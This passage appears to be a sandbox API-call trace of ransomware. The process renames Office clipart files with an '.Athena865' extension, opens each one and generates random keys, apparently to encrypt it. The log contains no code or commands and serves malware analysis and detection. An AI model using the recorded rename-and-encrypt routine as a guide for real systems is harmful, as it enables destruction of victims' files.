Office\\CLIPART\\PUB60COR\\J0341654.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.athena865"), dwFlags=0x1) returned 1 [0130.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.742] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15743) returned 1 [0130.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.742] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.743] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.743] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.748] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.749] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.749] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.749] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341738.JPG" | out: lpString1="J0341738.JPG") returned="J0341738.JPG" [0130.749] lstrlenW (lpString="J0341738.JPG") returned 12 [0130.749] lstrlenW (lpString="Athena865") returned 9 [0130.749] lstrcmpiW (lpString1="41738.JPG", lpString2="Athena865") returned -1 [0130.749] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.Athena865") returned 73 [0130.749] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.athena865"), dwFlags=0x1) returned 1 [0130.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.755] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20166) returned 1 [0130.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.755] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.756] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.756] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.759] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.760] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.760] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.761] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341742.JPG" | out: lpString1="J0341742.JPG") returned="J0341742.JPG" [0130.761] lstrlenW (lpString="J0341742.JPG") returned 12 [0130.761] lstrlenW (lpString="Athena865") returned 9 [0130.761] lstrcmpiW (lpString1="41742.JPG", lpString2="Athena865") returned -1 [0130.761] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.Athena865") returned 73 [0130.761] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.athena865"), dwFlags=0x1) returned 1 [0130.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.763] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18874) returned 1 [0130.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.763] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.764] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.764] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.766] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.767] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.767] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.768] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382836.JPG" | out: lpString1="J0382836.JPG") returned="J0382836.JPG" [0130.768] lstrlenW (lpString="J0382836.JPG") returned 12 [0130.768] lstrlenW (lpString="Athena865") returned 9 [0130.768] lstrcmpiW (lpString1="82836.JPG", lpString2="Athena865") returned -1 [0130.768] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.Athena865") returned 73 [0130.768] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.athena865"), dwFlags=0x1) returned 1 [0130.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.769] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=68572) returned 1 [0130.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.770] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.770] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.770] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.775] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.776] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.776] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.777] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382925.JPG" | out: lpString1="J0382925.JPG") returned="J0382925.JPG" [0130.777] lstrlenW (lpString="J0382925.JPG") returned 12 [0130.777] lstrlenW (lpString="Athena865") returned 9 [0130.777] lstrcmpiW (lpString1="82925.JPG", lpString2="Athena865") returned -1 [0130.777] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.Athena865") returned 73 [0130.777] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.athena865"), dwFlags=0x1) returned 1 [0130.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.779] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=118362) returned 1 [0130.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.779] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.780] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.780] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.785] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.786] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.786] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.788] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382926.JPG" | out: lpString1="J0382926.JPG") returned="J0382926.JPG" [0130.788] lstrlenW (lpString="J0382926.JPG") returned 12 [0130.788] lstrlenW (lpString="Athena865") returned 9 [0130.788] lstrcmpiW (lpString1="82926.JPG", lpString2="Athena865") returned -1 [0130.788] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.Athena865") returned 73 [0130.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.athena865"), dwFlags=0x1) returned 1 [0130.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.790] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=91948) returned 1 [0130.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.790] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.791] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.791] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.795] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.796] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.796] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.797] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382927.JPG" | out: lpString1="J0382927.JPG") returned="J0382927.JPG" [0130.797] lstrlenW (lpString="J0382927.JPG") returned 12 [0130.797] lstrlenW (lpString="Athena865") returned 9 [0130.798] lstrcmpiW (lpString1="82927.JPG", lpString2="Athena865") returned -1 [0130.798] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.Athena865") returned 73 [0130.798] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.athena865"), dwFlags=0x1) returned 1 [0130.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.799] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=129132) returned 1 [0130.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.800] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.800] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.800] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.806] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.807] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.807] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.809] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382930.JPG" | out: lpString1="J0382930.JPG") returned="J0382930.JPG" [0130.809] lstrlenW (lpString="J0382930.JPG") returned 12 [0130.809] lstrlenW (lpString="Athena865") returned 9 [0130.810] lstrcmpiW (lpString1="82930.JPG", lpString2="Athena865") returned -1 [0130.810] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.Athena865") returned 73 [0130.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.athena865"), dwFlags=0x1) returned 1 [0130.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.811] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=112698) returned 1 [0130.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.812] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.812] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.812] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.818] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.818] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.818] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.820] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382931.JPG" | out: lpString1="J0382931.JPG") returned="J0382931.JPG" [0130.820] lstrlenW (lpString="J0382931.JPG") returned 12 [0130.820] lstrlenW (lpString="Athena865") returned 9 [0130.820] lstrcmpiW (lpString1="82931.JPG", lpString2="Athena865") returned -1 [0130.820] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.Athena865") returned 73 [0130.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.athena865"), dwFlags=0x1) returned 1 [0130.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.822] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=122691) returned 1 [0130.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.822] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.823] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.823] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.829] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.830] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.830] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.832] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382938.JPG" | out: lpString1="J0382938.JPG") returned="J0382938.JPG" [0130.832] lstrlenW (lpString="J0382938.JPG") returned 12 [0130.832] lstrlenW (lpString="Athena865") returned 9 [0130.832] lstrcmpiW (lpString1="82938.JPG", lpString2="Athena865") returned -1 [0130.832] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.Athena865") returned 73 [0130.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.athena865"), dwFlags=0x1) returned 1 [0130.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.834] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=99539) returned 1 [0130.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.834] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.835] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.835] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.840] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.841] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.841] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.843] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382939.JPG" | out: lpString1="J0382939.JPG") returned="J0382939.JPG" [0130.843] lstrlenW (lpString="J0382939.JPG") returned 12 [0130.843] lstrlenW (lpString="Athena865") returned 9 [0130.843] lstrcmpiW (lpString1="82939.JPG", lpString2="Athena865") returned -1 [0130.843] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.Athena865") returned 73 [0130.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.athena865"), dwFlags=0x1) returned 1 [0130.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.844] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=109477) returned 1 [0130.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.845] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.845] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.845] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.851] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.852] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.852] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.854] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382942.JPG" | out: lpString1="J0382942.JPG") returned="J0382942.JPG" [0130.854] lstrlenW (lpString="J0382942.JPG") returned 12 [0130.854] lstrlenW (lpString="Athena865") returned 9 [0130.854] lstrcmpiW (lpString1="82942.JPG", lpString2="Athena865") returned -1 [0130.854] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.Athena865") returned 73 [0130.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 